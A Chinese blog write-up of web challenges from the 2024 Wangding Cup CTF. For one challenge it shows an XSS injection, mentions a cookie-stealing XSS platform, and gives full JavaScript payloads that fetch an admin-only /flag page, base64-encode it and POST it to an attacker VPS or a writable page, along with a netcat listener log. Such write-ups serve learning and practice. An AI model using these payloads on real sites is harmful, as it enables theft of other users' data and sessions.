2024 网鼎杯 web 题解
真爱和自由 发表于 四川 CTF 956浏览 · 2024-10-29 09:13

2024 网鼎杯 web 题解

前言

国内 ctf 的水平爆炸式提高,线下是越来越难打了

WEB 2

题目描述

进入题目一个登录框,还以为要爆破弱密码来着

然后随便输入账号密码就登录成功了
回显的信息如下

login success, your content_hash is 59a74dafac7c82ab4f14b506f98b3014
please visit /content/59a74dafac7c82ab4f14b506f98b3014

登录成功后

很明显的 xss 特征,首先验证一下

输入一个基本的 xss

<script>alert(1)</script>

应该是 xss 了
窃取管理员的 cookie

这里可以使用 xss 平台

https://xssaq.com/

但是窃取不到的 cookie,赛后才知道不出网,所以带不出来

自己的 xss 水平简直一坨,只会窃取 cookie

然后扫一波目录,有/flag,访问一手

也是很明显的提示我们需要去用 boss 的身份去访问这个页面

这里就有一种思路了

以为窃取不到 cookie,我们只能使用 xss 实现这样一种需求

1.boss 身份访问页面
2.获取 boss 身份访问 flag 后的内容
3.把内容带出

这里就不得不使用到 fetch 函数了,是真没有学过 xss,这个函数第一次见到

fetch 是一个 JavaScript 中用于进行网络请求的函数,可以用来向服务器发送请求并获取数据
fetch(url, options)
url:字符串,表示请求的目标地址。
options(可选):对象,包含请求的配置,例如 method、headers、body 等。
这里主要学会利用下面三种情况

发送 GET 请求

fetch('https://api.example.com/data')
.then(response => {
  if (!response.ok) {
    throw new Error('Network response was not ok');
  }
  return response.json(); // 将响应解析为 JSON
})
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));
  1. 发送 POST 请求
fetch('https://api.example.com/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ key: 'value' }) // 将数据序列化为 JSON
})
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(error => console.error('Fetch error:', error));
  1. 发送带有 Headers 的请求
fetch('https://api.example.com/data', {
  method: 'GET',
  headers: {
    'Authorization': 'Bearer your_token_here',
    'Accept': 'application/json'
  }
})
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(error => console.error('Fetch error:', error));

第一次想到是带到 vps 上

paylaod 如下

function makePostRequest(url, data) {
  return fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: data
  });
}
function fetchData(url) {
  return fetch(url);
}
function sendRequest() {
  fetchData('/flag')
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to fetch flag');
      }
      return response.text();
    })
    .then(htmlCode => {
      const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
      const postDataUrl = 'vps';
      const postData = `htmlcode=${encodedHtmlCode}`;

      return makePostRequest(postDataUrl, postData);
    })
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to post data');
      }
      return response.text();
    })
    .then(result => {
      console.log(result);
    })
    .catch(error => {
      console.error('Error:', error);
    });
}
sendRequest();

但是获取到的内容

root@VM-16-17-ubuntu:~# ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 171.218.229.141.
Ncat: Connection from 171.218.229.141:43496.
POST / HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 93
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Origin: http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178
Referer: http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178/

htmlcode=5L2g5pivYm9zc+WYm++8n+WwseaDs+eci+WFtuS7luaXoOS6uuacuuaLn+WumuaJp+ihjOS7u+WKoe+8nw==

解码后还是

疑惑了

然后尝试了几次,还是一样的

考虑了一下,可能是这样的,因为我第一次需要刷新页面,是我自己访问的,然后之后管理员访问的时候因为端口已经关闭了,所以不能,解决办法也没有想到

然后又是尝试写到页面上

function makePostRequest(url, data) {
  return fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: data
  });
}
function fetchData(url) {
  return fetch(url);
}
function sendRequest() {
  fetchData('/flag')
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to fetch flag');
      }
      return response.text();
    })
    .then(htmlCode => {
      const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
      const postDataUrl = 'http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178/content/84178f55ac0325ae9bf15f2b2bdfee3e';
      const postData = `htmlcode=${encodedHtmlCode}`;

      return makePostRequest(postDataUrl, postData);
    })
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to post data');
      }
      return response.text();
    })
    .then(result => {
      console.log(result);
    })
    .catch(error => {
      console.error('Error:', error);
    });
}
sendRequest();

但是页面上没有东西

又是一堆改改改

然后发现问题是

function makePostRequest(url, data) {
  return fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: data
  });
}
function fetchData(url) {
  return fetch(url);
}
function sendRequest() {
  fetchData('/flag')
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to fetch flag');
      }
      return response.text();
    })
    .then(htmlCode => {
      const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
      const postDataUrl = '/content/84178f55ac0325ae9bf15f2b2bdfee3e';
      const postData = `htmlcode=${encodedHtmlCode}`;

      return makePostRequest(postDataUrl, postData);
    })
    .then(response => {
      if (!response.ok) {
        throw new Error('Failed to post data');
      }
      return response.text();
    })
    .then(result => {
      console.log(result);
    })
    .catch(error => {
      console.error('Error:', error);
    });
}
sendRequest();

路径不能全路径

因为比赛结束了,没有环境,不能截图,paylaod 大概的思路是这样,也忘了改了哪些细节

然后还可以再次 fetch 到/content/84178f55ac0325ae9bf15f2b2bdfee3e 这个路由也是可以的

web1*

题目描述

除了登录框,然后 jwt 爆破,弱密码爆破了一波

然后找了一些新的 cve,还是没有什么思路

最后

大哥们真的 tql,web 已经到随便 500 解的水平了

0 条评论
某人
表情
可输入 255